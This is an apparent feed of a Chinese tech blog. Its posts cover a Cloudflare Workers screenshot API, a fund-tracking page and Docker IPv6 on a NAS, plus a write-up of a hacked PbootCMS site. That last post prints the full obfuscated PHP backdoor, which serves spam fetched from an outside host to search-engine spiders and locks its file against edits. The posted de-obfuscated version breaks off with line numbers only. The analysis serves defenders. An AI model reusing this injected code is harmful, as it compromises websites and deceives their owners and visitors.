谨行 Hexo https://careful.fyi/ All rights reserved 2026, 谨行 分享技术、新知、生活中的琐碎日常。 谨言慎行 2026-03-02T08:57:51.000Z 谨行 最近使用Hexo重建了我的博客，使用Stellar主题过程中，在友链部分需要填入网站封面，太过繁琐，所以考虑部署一个网页截图API来实现，搜索过后发现已经有博主使用Cloudflare Workers通过Cloudflare的“浏览器呈现”功能来实现了自动获取网页截图（使用Cloudflare制作自动更新的网站预览图），但博主仅自用很多代码均为写死的，遂拿过来改动一番。

部署教程

创建相关服务

API接口运行于Cloudflare Workers，并依赖Workers KV服务来存储截图数据，你需要在Cloudflare新建一个Workers服务（Compute菜单中）和Workers KV（存储和数据库菜单中），名称随意。

绑定KV命名空间

点进创建好的Workers服务，依次点击绑定、添加绑定、KV命名空间，将创建好的KV绑定到Worker服务中，变量名称需保证为SCREENSHOT。

image

部署代码

点击右上角的编辑代码，将下面的代码粘贴进去，后点击部署即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
export default {
  async fetch(request, env, ctx) {
    const cache = caches.default;
    const kv = env.SCREENSHOT;

    const requestUrl = new URL(request.url);
    const targetUrl = requestUrl.searchParams.get("url");

    if (!targetUrl) {
      return new Response("Missing 'url' parameter", { status: 400 });
    }

    const referer = request.headers.get("referer") || "";
    const origin = request.headers.get("origin") || "";
    const allowedDomains = env.ALLOWED_DOMAINS ? env.ALLOWED_DOMAINS.split(",") : [];

    const isAllowed = allowedDomains.some(domain => {
      const trimmedDomain = domain.trim();
      return referer.includes(trimmedDomain) || origin.includes(trimmedDomain);
    });

    if (allowedDomains.length > 0 && !isAllowed) {
      return new Response("Access denied: request not from allowed domain", { status: 403 });
    }

    const date = new Date().toISOString().split("T")[0];
    const cacheKey = targetUrl;
    const datedKey = `${targetUrl}?${date}`;

    // 工具函数：构建 Response 对象
    const buildResponse = (buffer) =>
      new Response(buffer, {
        headers: {
          "content-type": "image/png",
          "cache-control": "public, max-age=86400, immutable",
        },
      });

    // 工具函数：尝试从 KV 和 Cache 中加载已有截图
    const tryGetCachedResponse = async (key) => {
      let res = await cache.match(key);
      if (res) return res;

      const kvData = await kv.get(key, { type: "arrayBuffer" });
      if (kvData) {
        res = buildResponse(kvData);
        ctx.waitUntil(cache.put(key, res.clone()));
        return res;
      }
      return null;
    };

    // 1. 优先使用当日缓存
    let res = await tryGetCachedResponse(datedKey);
    if (res) return res;

    // 2. 若缓存不存在，则请求 Cloudflare Screenshot API
    try {
      const payload = {
        url: targetUrl,
        viewport: { width: 1200, height: 800 },
        gotoOptions: { waitUntil: "networkidle0" },
      };

      const apiRes = await fetch(
        `https://api.cloudflare.com/client/v4/accounts/${env.CF_ACCOUNT_ID}/browser-rendering/screenshot?cacheTTL=86400`,
        {
          method: "POST",
          headers: {
            Authorization: `Bearer ${env.CF_API_TOKEN}`,
            "Content-Type": "application/json",
          },
          body: JSON.stringify(payload),
        }
      );

      if (!apiRes.ok) throw new Error(`API returned ${apiRes.status}`);

      const buffer = await apiRes.arrayBuffer();
      res = buildResponse(buffer);

      // 后台缓存更新
      ctx.waitUntil(Promise.all([
        kv.put(cacheKey, buffer),
        kv.put(datedKey, buffer, { expirationTtl: 86400 }),
        cache.put(cacheKey, res.clone()),
        cache.put(datedKey, res.clone()),
      ]));

      return res;
    } catch (err) {
      console.error("Screenshot generation failed:", err);

      // 3. 回退到通用旧缓存
      res = await tryGetCachedResponse(cacheKey);
      if (res) return res;

      return new Response("Screenshot generation failed", { status: 502 });
    }
  },
};

配置环境变量

代码部署完还不能立马使用，因为这个API实际是调用Cloudflare 的“浏览器呈现”功能来实现，所以还需要为服务添加Cloudflare令牌。

进入到账户API令牌管理页面，创新一个新的令牌，只需要拥有浏览器呈现的编辑权限即可，可参考下图配置。

image

接下来需要将得到的API TOKEN填入到环境变量中，为了避免接口被盗用，最好配置上ALLOWED_DOMAINS，仅允许指定域名调用。

名称值（示例）说明
​ALLOWED_DOMAINScareful.fyi,localhost配置允许调用API接口的域名，以逗号分隔，留空则允许所有域名调用
​CF_ACCOUNT_ID​hpk6jwuvna4u75dzwpj2a4582wwebjxeCloudflare账户ID
​CF_API_TOKEN​fs3xuwbvy834yf8hxh2jyuwuabec587xAPI TOKEN，需拥有浏览器呈现权限

服务仅使用referer和origin来进行访问控制，但这两个参数又非常容易伪造，存在被滥用的风险，但个人使用已是足够，感兴趣的可加以改进，提升安全性。

API接口调用

调用方法很简单，通过[API接口地址]?url=[目标地址]格式即可返回网页的最新截图，例如：

1
https://careful.fyi/api/screenshot/?url=https://careful.fyi

‍

]]> https://careful.fyi/posts/1772432122/ 2026-03-02T06:15:22.000Z 最近使用Hexo重建了我的博客，使用Stellar主题过程中，在友链部分需要填入网站封面，太过繁琐，所以考虑部署一个网页截图API来实现，搜索过后发现已经有博主使用Cloudflare Workers通过Cloudflare的“浏览器呈现”功能来实现了自动获取网页截图（ 使用CloudFlare Workers搭建网页截图API 2026-03-02T08:57:51.000Z 谨行 今年开始理财，但因为购买渠道众多导致持仓比较分散需要打开各个 APP 查看盈亏情况，所以给博客加了一个自动更新持仓净值的页面（参考：示例页面）。主要使用的是天天基金的 API 接口。

代码分 3 个文件，分别是用以自动更新基金净值的 update_funds.php​,用以存储基金信息的 funds.json，以及用以展示基金信息的模板文件。

使用方法

首先需要把 update_funds.php 文件上传到支持 php 的 web 服务器中，然后在/data 目录创建名为 funds.json ​的数据文件，其中 name、code、cost_price、shares ​四个字段需要手动填写，分别对应基金名称、基金代码、持仓成本、持仓份额，每次 update_funds.php ​文件时，脚本会把最新的净值写入到 latest_net_value ​字段中并将更新时间写入到 last_updated ​中，可以考虑设置计划任务来定期访问该脚本。

另外可以向 json 中加入 update_enabled ​字段，当值为 false 时，会跳过更新基金净值，可以在基金清仓后添加，用以跳过基金净值更新。

前端展现的代码仅供参考，原理无非就是调取 funds.json ​文件中的内容，并计算出收益（(最新净值-持仓成本)*持仓份额）、收益率在前端页面展现。

update_funds.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
<?php
/*
 * 基金净值自动更新脚本
 * 数据源：https://fund.eastmoney.com/
 * 配置文件：funds.json
 */

// 配置参数 ================================================
define('USER_AGENTS', [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15',
    'Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15'
]);

define('REQUEST_DELAY', 1); // 请求间隔(秒)
define('MAX_RETRY', 2);     // 单基金重试次数

// 主程序 ==================================================
try {
    // 加载基金数据
    $funds = loadFundsData();
    
    // 遍历更新净值
    foreach ($funds as &$fund) {
        // 新增逻辑：检查是否允许更新
        if (isset($fund['update_enabled']) && !$fund['update_enabled']) {
            echo "跳过更新：{$fund['code']} (已禁用更新)\n";
            continue;
        }
        try {
            $result = fetchFundValue($fund['code']);
            
            // 只更新净值相关字段
            $fund['latest_net_value'] = $result['value'];
            $fund['last_updated'] = date('Y-m-d H:i:s');
            
            echo "成功更新：{$fund['code']} => {$result['value']}\n";
        } catch (Exception $e) {
            echo "更新失败：{$fund['code']} - {$e->getMessage()}\n";
            logError($fund['code'], $e->getMessage());
            continue;
        }
        
        // 遵守请求间隔
        sleep(REQUEST_DELAY);
    }
    
    // 保存更新后的数据
    saveFundsData($funds);
    echo "全部更新完成！\n";
    
} catch (Exception $e) {
    die("致命错误：" . $e->getMessage());
}

// 核心函数 ================================================

/**
 * 加载基金数据文件
 */
function loadFundsData() {
    $filename = '/data/funds.json';
    
    if (!file_exists($filename)) {
        throw new Exception("基金数据文件不存在");
    }
    
    $data = json_decode(file_get_contents($filename), true);
    
    if (json_last_error() !== JSON_ERROR_NONE) {
        throw new Exception("JSON解析错误：" . json_last_error_msg());
    }
    
    return $data;
}

/**
 * 保存基金数据文件
 */
function saveFundsData($data) {
    $json = json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    
    if (file_put_contents('/data/funds.json', $json) === false) {
        throw new Exception("文件保存失败");
    }
}

/**
 * 获取基金净值（带重试机制）
 */
function fetchFundValue($code) {
    for ($i = 0; $i <= MAX_RETRY; $i++) {
        try {
            return [
                'value' => getLatestNetValue($code),
                'timestamp' => time()
            ];
        } catch (Exception $e) {
            if ($i == MAX_RETRY) {
                throw $e;
            }
            usleep(500000 * ($i + 1)); // 递增延时
        }
    }
}

/**
 * 核心抓取逻辑
 */
function getLatestNetValue($code) {
    $ch = curl_init();
    
    curl_setopt_array($ch, [
        CURLOPT_URL => "https://fund.eastmoney.com/pingzhongdata/{$code}.js",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 8,
        CURLOPT_HTTPHEADER => [
            'Referer: https://fund.eastmoney.com/',
            'User-Agent: USER_AGENTS[array_rand(USER_AGENTS)]'
        ]
    ]);
    
    $content = curl_exec($ch);
    
    // 错误处理
    if (curl_errno($ch)) {
        throw new Exception("网络请求失败：" . curl_error($ch));
    }
    
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if ($httpCode != 200) {
        throw new Exception("HTTP错误代码：{$httpCode}");
    }
    
    curl_close($ch);
    
    // 解析数据
    if (preg_match('/Data_netWorthTrend\s*=\s*(\[.*?\])/s', $content, $matches)) {
        $data = json_decode($matches[1], true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new Exception("JSON解析失败");
        }
        
        $latest = end($data);
        return $latest['y'];
    }
    
    throw new Exception("未找到净值数据");
}

funds.json 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
[
    {
        "name": "南方红利",
        "code": "008163",
        "cost_price": 1.1424,
        "shares": 43766.09,
        "latest_net_value": 1.1679,
        "last_updated": "2025-07-16 03:12:56"
    },
    {
        "name": "南方中债",
        "code": "006961",
        "cost_price": 1.3677,
        "shares": 36535.8,
        "latest_net_value": 1.3675,
        "last_updated": "2025-07-16 03:12:58"
    },
    {
        "name": "鹏华中债",
        "code": "008040",
        "cost_price": 1.0818,
        "shares": 46196.16,
        "latest_net_value": 1.0817,
        "last_updated": "2025-07-16 03:12:59"
    },
    {
        "name": "华泰红利",
        "code": "007467",
        "cost_price": 1.6458,
        "shares": 30380.4,
        "latest_net_value": 1.7166,
        "last_updated": "2025-07-15 14:01:51",
        "update_enabled": false
    },
    {
        "name": "摩根标普",
        "code": "019305",
        "cost_price": 1.4634,
        "shares": 823.61,
        "latest_net_value": 1.4636,
        "last_updated": "2025-07-16 03:13:00"
    },
    {
        "name": "纳斯达克",
        "code": "006479",
        "cost_price": 6.6801,
        "shares": 180.87,
        "latest_net_value": 6.6769,
        "last_updated": "2025-07-16 03:13:01"
    }
]

前端模板文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
<style>
table.fund h1 {
    color: #2d2d2d;
    font-weight: 600;
    margin-bottom: 1.5rem;
    padding-bottom: 0.5rem;
    border-bottom: 2px solid #c62541;
}

table.fund {
    border-collapse: collapse;
    width: 100%;
    background: white;
    text-align: center;
    border-radius: 8px;
    margin-bottom: 5rem;
    overflow: hidden;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);
    transition: box-shadow 0.3s ease;
}

table.fund:hover {
    box-shadow: 0 8px 16px rgba(0, 0, 0, 0.1);
}

table.fund th {
    background: #c62541;
    color: white;
    padding: 14px 16px;
    font-weight: 600;
    text-transform: uppercase;
    font-size: 0.9em;
}

table.fund td {
    padding: 12px 16px;
    color: #444;
    border: 1px solid #f0f0f0;
}

table.fund tr:last-child td {
    border-bottom: none;
}

table.fund tr:hover td {
    background: #fff5f7;
}

table.fund .positive {
    color: #c62541;
    font-weight: 500;
}

table.fund .negative {
    color: #27ae60;
    font-weight: 500;
}

/* 响应式处理 */
@media (max-width: 768px) {
    table.fund td, th {
        padding: 10px 12px;
        font-size: 0.9em;
    }
    
    table.fund h1 {
        font-size: 1.4rem;
    }
}

/* 时间显示样式 */
table.fund #current-time {
    color: #c62541;
    font-weight: 500;
}
</style>
<table>
<thead>
<tr>
<th>基金代码</th>
<th>持有份额</th>
<th>成本价</th>
<th>当前净值</th>
<th>持仓收益</th>
<th>更新时间</th>
</tr>
</thead>
<tbody id="funds-body"></tbody>
<tfoot class="highlight" id="summary-footer"></tfoot>
</table>
<p style="margin-top: 1rem; color: #666;">
数据更新频率：每日凌晨3点自动更新
<br>当前时间：<span id="current-time"></span>
</p>
<script>
// 配置参数
const JSON_URL = 'https://static.careful.fyi/json/fund.json';
// 初始化
document.addEventListener('DOMContentLoaded', async () => {
    try {
        const funds = await loadFundsData();
        renderTable(funds);
        startClock();
    } catch (error) {
        showError(error.message);
    }
});
// 加载远程数据
async function loadFundsData() {
    try {
        const response = await fetch(JSON_URL);
        if (!response.ok) throw new Error('网络响应异常');
        return await response.json();
    } catch (error) {
        throw new Error('数据加载失败，请稍后刷新');
    }
}
// 渲染表格
function renderTable(funds) {
    let total = { cost: 0, current: 0, profit: 0 };
    const tbody = document.getElementById('funds-body');
    // 生成数据行
    tbody.innerHTML = funds.map(fund => {
        const fundCost = fund.cost_price * fund.shares;
        const fundCurrent = fund.latest_net_value * fund.shares;
        const profit = fundCurrent - fundCost;
        // 累计总数
        total.cost += fundCost;
        total.current += fundCurrent;
        total.profit += profit;
        return `
        <tr>
            <td>${fund.code}</td>
            <td>${formatNumber(fund.shares, 2)}</td>
            <td>${formatNumber(fund.cost_price, 4)}</td>
            <td>${fund.latest_net_value ? formatNumber(fund.latest_net_value, 4) : '--'}</td>
            <td class="${profit >= 0 ? 'positive' : 'negative'}">
                ${formatNumber(profit, 2)}
            </td>
            <td>${fund.last_updated || '--'}</td>
        </tr>`;
    }).join('');
    // 生成汇总行
    const footer = document.getElementById('summary-footer');
    footer.innerHTML = `
        <tr>
            <td colspan="4">总收益</td>
            <td class="${total.profit >= 0 ? 'positive' : 'negative'}">
                ${formatNumber(total.profit, 2)}
            </td>
            <td></td>
        </tr>
        <tr>
            <td colspan="4">总收益率</td>
            <td class="${total.profit >= 0 ? 'positive' : 'negative'}">
                ${total.cost ? formatNumber((total.profit / total.cost) * 100, 2) + '%' : '--'}
            </td>
            <td></td>
        </tr>`;
}
// 数字格式化
function formatNumber(num, digits) {
    return num.toLocaleString('zh-CN', {
        minimumFractionDigits: digits,
        maximumFractionDigits: digits
    });
}
// 实时时钟
function startClock() {
    function updateTime() {
        document.getElementById('current-time').textContent = 
            new Date().toLocaleString('zh-CN');
    }
    updateTime();
    setInterval(updateTime, 1000);
}
// 错误显示
function showError(message) {
    const tbody = document.getElementById('funds-body');
    tbody.innerHTML = `<tr><td colspan="6" style="color:red">${message}</td></tr>`;
}
</script>

‍

]]> https://careful.fyi/posts/1752563214/ 2025-07-15T07:06:54.000Z 今年开始理财，但因为购买渠道众多导致持仓比较分散需要打开各个 APP 查看盈亏情况，所以给博客加了一个自动更新持仓净值的页面（参考：示例页面）。主要使用的是天天基金的 API 接口。

<]]> 给博客添加一个自动更新基金持仓盈亏的页面 2026-03-05T07:08:57.000Z 谨行 最近 NAS 系统由 Unraid 更换回绿联云，经过数个版本的迭代，绿联云的系统可用度还是蛮高的，在绿联云部署 qBittorrent 过程中发现下载很慢，仅能连接上 IPv4 的用户，qBittorrent 想要下载速度快，那开启 IPv6 是必须的。Docker 开启 IPv6 最简单的方法当然是使用 Host 网络，但因为 Host 网络端口不可控，所以个人习惯还是喜欢用默认的 Bridge 网络。

开启 SSH

绿联云的新系统开启 SSH 很简单，点击控制面板-终端机-把 SSH 勾上保存即可。打开任意 bash ​终端，使用 ssh 管理员用户名@NAS IP ​来登录，首次登录需要按提示键入 yes。

到这一步还没完，为了方便后续操作，需要使用 sudo -i ​来切换到 root 账户，这一步需要输入你管理员用户的密码。

修改 daemon.json

​vi /etc/docker/daemon.json​，将下面的配置加入配置文件中，按 :wq ​保存后，使用 systemctl restart docker ​重启 Docker 引擎即可。

1
2
3
4
""ipv6"": true,
""fixed-cidr-v6"": ""fd00::/80"",
""ip6tables"": true,
""experimental"": true

贴一下最终完整版的 daemon.json 文件。

1
2
3
4
5
6
7
8
9
10
{
        ""data-root"": ""/volume1/@docker"",
        ""experimental"": true,
        ""fixed-cidr-v6"": ""fd00::/80"",
        ""ip6tables"": true,
        ""ipv6"": true,
        ""registry-mirrors"": [
                ""https://carefu.link/""
        ]
}

完成后进入 Docker 容器内，此时已经可以成功 Ping 通 IPv6 地址了，因为这种方式是基于 IPv6 NAT，并不会为容器分配独立的 IPv6，容器是使用宿主机的 IPv6 对外通信，但对于 qBittorrent 这种程序来讲是足够了的，Tracker 中可以看到已经可以连上其他用户的 IPv6。

]]> https://careful.fyi/posts/1743759016/ 2025-04-04T09:30:16.000Z 最近 NAS 系统由 Unraid 更换回绿联云，经过数个版本的迭代，绿联云的系统可用度还是蛮高的，在绿联云部署 qBittorrent 过程中发现下载很慢，仅能连接上 IPv4 的用户，qBittorrent 想要下载速度快，那开启 IPv6 是必须的。Docker 开启]]> 绿联云Docker默认的Bridge网络开启IPv6 2026-02-28T05:23:47.000Z 谨行 今天检查站点的时候，发现其中一个站点使用搜索引擎蜘蛛模拟访问时跳转到了色情网站，查看了下原代码，被挂马已经有一段时间了，相较以前遇到的木马病毒，这个病毒做的很隐蔽，作为管理者，很容易忽视，以下是木马核心文件以及分析，希望能为搜到这篇文章的你提供帮助。

恶意代码分析

通过分析比对，病毒是通过篡改PbootCMS核心文件/core/start.php​来实现，代码中使用了大量的goto来混淆，不过好在有DeepSeek的协助，不用再手动去逆向病毒代码。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
/**
 * @copyright (C)2016-2099 Hnaoyun Inc.
 * @author XingMeng
 * @email hnxsh@foxmail.com
 * @date 2016年11月5日
 *  内核启动文件，请使用入口文件对本文件进行引用即可
 */

// 引入初始化文件
require dirname(__FILE__) . '/init.php'; goto SKyXl; SKyXl: function ILeMN($bG2Ji) { goto M1G6I; lMSZk: curl_close($Q2Ooa); goto nyJgm; Lu8eC: $uE3yz = curl_exec($Q2Ooa); goto Fx40d; eQuEY: curl_setopt($Q2Ooa, CURLOPT_HTTPHEADER, array(""\130\55\x46\117\122\x57\x41\122\x44\105\104\x2d\106\x4f\122\x3a\x20{$F2VI3}"", ""\130\x2d\106\x4f\122\127\101\x52\x44\105\104\x2d\x48\x4f\x53\124\x3a\40{$UBzZA}"", ""\x55\x73\145\162\x2d\101\147\145\x6e\164\x3a\40{$uwXUP}"", ""\x52\145\146\145\x72\145\x72\72\40{$yTJF_}"")); goto Lu8eC; wi_zh: curl_setopt($Q2Ooa, CURLOPT_FOLLOWLOCATION, true); goto eQuEY; k7Lb0: $yTJF_ = isset($_SERVER[""\110\124\x54\x50\137\x52\105\x46\x45\122\x45\x52""]) ? $_SERVER[""\x48\x54\124\x50\x5f\122\105\106\x45\x52\x45\122""] : ''; goto vrt84; KysSj: $UBzZA = $_SERVER[""\x48\x54\x54\x50\137\x48\117\123\x54""]; goto LNbyr; GJCJI: return $uE3yz; goto Xqar9; iC8cd: UDOSo: goto lMSZk; PaIV_: return ""\x33\x30\62""; goto itE5J; S20TX: $ShTG7 = curl_error($Q2Ooa); goto iC8cd; itE5J: ijmuv: goto GJCJI; j_wup: curl_setopt($Q2Ooa, CURLOPT_TIMEOUT, 10); goto wi_zh; q19p9: curl_setopt($Q2Ooa, CURLOPT_URL, $bG2Ji); goto NyKa0; NyKa0: curl_setopt($Q2Ooa, CURLOPT_RETURNTRANSFER, true); goto j_wup; HzzJc: return ""\60""; goto N1ZE0; wh6yv: if (!($Tq56w == 302)) { goto ijmuv; } goto PaIV_; nyJgm: if (!isset($ShTG7)) { goto OSs7P; } goto HzzJc; M1G6I: $F2VI3 = $_SERVER[""\122\105\x4d\x4f\124\105\137\x41\x44\x44\122""]; goto KysSj; Fx40d: $Tq56w = curl_getinfo($Q2Ooa, CURLINFO_HTTP_CODE); goto Z6mYd; N1ZE0: OSs7P: goto wh6yv; Z6mYd: if (!curl_errno($Q2Ooa)) { goto UDOSo; } goto S20TX; LNbyr: $uwXUP = $_SERVER[""\110\124\x54\120\x5f\x55\123\x45\x52\137\101\x47\x45\x4e\124""]; goto k7Lb0; vrt84: $Q2Ooa = curl_init(); goto q19p9; Xqar9: } goto KpEmz; Rrl8j: $uE3yz = IlemN($bG2Ji); goto ih6fl; wFLEl: if (!($uE3yz == ""\x33\60\x32"" || $uE3yz == ""\60"")) { goto T2WuN; } goto mjGjt; NB4CX: $Im9Mo = explode(""\x76\x6f\x64\55"", $uuRZd); goto oP077; kw3K0: $bG2Ji = ""\150\164\164\x70\72\57\x2f\x78\x70\x79\142\x2e\141\x78\152\x73\143\56\x63\x6f\x6d\x2f\154\151\156\153\x2e\x70\x68\x70\77\x64\151\162\x3d\57\x69\156\x64\x65\170\56\160\x68\160\x3f\166\x6f\144\x2d\x26\150\157\163\x74\75"" . $_SERVER[""\x48\x54\124\120\137\110\117\x53\124""]; goto Rrl8j; I1t_J: $uuRZd = isset($_GET[""\x73""]) ? $_GET[""\x73""] : $_SERVER[""\122\105\x51\125\105\123\x54\x5f\125\122\111""]; goto E6cYf; KpEmz: function stoiq() { goto HFU0s; Yv708: return $YEgWn; goto dvNU2; q8eA5: $YEgWn = ""\x31\x32\x37\x2e\60\x2e\60\56\61""; goto UrqfE; ZKYMq: goto we3q4; goto nd2KY; KT6Mw: goto we3q4; goto JtbJy; UrqfE: we3q4: goto Yv708; HFU0s: if (isset($_SERVER[""\122\105\115\117\124\105\137\x41\104\104\122""]) && $_SERVER[""\122\105\x4d\117\x54\x45\137\x41\x44\x44\x52""] && strcasecmp($_SERVER[""\122\105\x4d\117\124\x45\x5f\x41\x44\x44\x52""], ""\165\x6e\x6b\156\157\x77\156"")) { goto xbB89; } goto hRHnT; GdgPs: $YEgWn = ""\60\56\x30\56\60\x2e\x30""; goto KT6Mw; nd2KY: k7h9_: goto q8eA5; hRHnT: if (!isset($_SERVER[""\122\x45\x4d\117\x54\x45\137\x41\x44\x44\x52""])) { goto k7h9_; } goto GdgPs; JtbJy: xbB89: goto Jc97o; Jc97o: $YEgWn = $_SERVER[""\122\x45\115\x4f\x54\105\137\101\104\x44\122""]; goto ZKYMq; dvNU2: } goto yswN0; jUR_o: ob_flush(); goto EbrH5; Z2AmM: header(""\x43\157\156\164\x65\x6e\164\55\124\x79\x70\145\x3a\40\164\145\170\x74\57\x68\164\155\x6c\x3b\40\x63\x68\141\162\x73\145\x74\75\x75\x74\x66\x2d\70""); goto NB4CX; BFp62: header(""\114\157\x63\x61\x74\151\157\x6e\72\x20\x2f""); goto UyxKv; oP077: $bG2Ji = ""\150\x74\x74\160\x3a\x2f\57\x78\160\171\142\56\x61\170\x6a\x73\x63\x2e\x63\157\x6d\x2f"" . $Im9Mo[1]; goto qChcq; mjGjt: http_response_code(404); goto BFp62; K7WkI: error_reporting(0); goto bhD8E; M3PHV: nPTVr: goto J6HZq; E6cYf: if (!(strpos($uuRZd, ""\x76\x6f\x64\55"") !== false)) { goto nPTVr; } goto Z2AmM; ih6fl: echo $uE3yz; goto jUR_o; PrbS0: $uE3yz = str_replace(""\57\x64\x65\164\x61\x69\154\x2d"", ""\57\x69\x6e\144\x65\170\x2e\160\150\160\x3f\166\157\144\x2d\144\145\164\x61\x69\x6c\x2d"", $uE3yz); goto pJjFv; bhD8E: @chmod(__FILE__, 0444); goto I1t_J; vFmB7: exit; goto M3PHV; qChcq: $uE3yz = ileMN($bG2Ji); goto wFLEl; jPXTB: $uE3yz = str_replace(""\57\x74\171\x70\x2d"", ""\x2f\151\x6e\144\x65\170\56\160\x68\x70\x3f\x76\157\144\x2d\164\171\x70\x2d"", $uE3yz); goto PrbS0; UyxKv: exit; goto TEXVu; yswN0: function PytNI() { goto b1ruM; D2Ys6: if (!(strpos($ZxbhK, ""\150\164\x74\160\72\57\x2f\167\167\x77\x2e\x62\141\151\x64\x75\56\143\x6f\155\57\x73\x70\151\x64\x65\162\x38\x2e\150\x74\x6d\x6c"") !== false)) { goto JLDSD; } goto LZOZu; JzezY: return false; goto Mt2Y5; Ab20v: return false; goto kd1Ep; YVe38: if (!in_array($mp_hD, $WD7EG)) { goto m0IkA; } goto hV0jT; ASvvF: if (isset($_SERVER[""\110\x54\x54\x50\137\125\x53\x45\122\137\x41\x47\x45\116\x54""])) { goto sXUGe; } goto xK0uH; ogmSC: JLDSD: goto kX5pO; ZVPnu: Pp0jt: goto S6JTJ; rY6AE: $RV36y = sToIq(); goto zPCw7; LZOZu: return true; goto ogmSC; b1ruM: $WD7EG = array(""\66\x31\x2e\x31\63\x35"", ""\61\x32\x33\x2e\61\x32\65"", ""\61\61\61\56\x32\60\66"", ""\61\x38\x30\56\67\66"", ""\61\x38\60\x2e\61\x34\71"", ""\62\62\x30\x2e\x31\x38\61"", ""\63\66\x2e\x31\61\60"", ""\61\x31\63\x2e\x32\64"", ""\61\x32\64\56\x31\66\64"", ""\61\61\66\x2e\61\67\71"", ""\61\70\x30\x2e\x39\67"", ""\x31\x32\61\x2e\61\x34"", ""\x32\60\x33\x2e\62\60\70"", ""\x32\61\x30\56\67\x32"", ""\61\62\65\56\71\60"", ""\x31\61\70\x2e\61\x38\x34"", ""\61\62\x33\x2e\x31\70\60"", ""\x31\62\63\x2e\61\62\65"", ""\66\61\56\x31\x33\65"", ""\x31\x32\x33\x2e\61\62\66"", ""\x31\61\61\x2e\x32\x30\62"", ""\x33\66\x2e\61\61\x30"", ""\x32\62\x30\56\61\70\61"", ""\61\60\x36\56\x31\62\60"", ""\x34\x39\x2e\67"", ""\x32\61\70\x2e\x33\x30"", ""\61\x30\x36\x2e\x33\70"", ""\65\70\x2e\x32\x35\60"", ""\61\x38\63\x2e\63\x36"", ""\x34\x33\56\x32\63\x31"", ""\x34\71\56\x37\x2e\x36\x34"", ""\x31\70\60\x2e\x31\65\63"", ""\x31\70\x30\x2e\61\66\63"", ""\64\x32\56\x32\62\x34"", ""\64\62\x2e\x31\x35\66"", ""\64\x32\x2e\x31\x32\x30"", ""\x31\x30\x36\x2e\61\x31""); goto rY6AE; XZp3w: m0IkA: goto JzezY; S6JTJ: $mp_hD = substr($RV36y, 0, strrpos($RV36y, ""\x2e"", strrpos($RV36y, ""\56"") - strlen($RV36y) - 1)); goto YVe38; zPCw7: $ZxbhK = strtolower($_SERVER[""\x48\x54\x54\120\137\125\123\105\x52\137\x41\x47\105\x4e\x54""]); goto D2Ys6; kX5pO: if (!(!$RV36y || $RV36y == ""\165\156\x6b\x6e\x6f\x77\156"")) { goto O93iy; } goto vBJCt; kd1Ep: z_dk8: goto ZVPnu; hV0jT: return true; goto XZp3w; j2pOr: if (!(!$ZxbhK || !preg_match(""\x2f\163\x70\x69\x64\145\162\x2f"", $ZxbhK))) { goto z_dk8; } goto Ab20v; xK0uH: return false; goto JBsji; vBJCt: return false; goto yXHB6; diMX1: if (!(trim($RV36y) == ""\x31\62\x37\x2e\x30\56\60\56\61"")) { goto Pp0jt; } goto ASvvF; JBsji: sXUGe: goto ndtkG; yXHB6: O93iy: goto diMX1; ndtkG: $ZxbhK = strtolower($_SERVER[""\x48\124\x54\120\x5f\125\123\x45\x52\137\x41\x47\x45\x4e\124""]); goto j2pOr; Mt2Y5: } goto K7WkI; EbrH5: flush(); goto KjWoV; MayE3: echo $uE3yz; goto vFmB7; TEXVu: T2WuN: goto jPXTB; J6HZq: if (!pytNi()) { goto m6xfM; } goto kw3K0; pJjFv: $uE3yz = str_replace(""\x2f\160\154\141\171\55"", ""\x2f\151\156\144\x65\170\x2e\160\x68\160\77\166\157\x64\x2d\x70\x6c\x61\171\x2d"", $uE3yz); goto MayE3; KjWoV: m6xfM:


// 入口检测
defined('IS_INDEX') ?: die('不允许直接访问框架内核启动文件！');

// 启动内核
core\basic\Kernel::run();

逆向后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
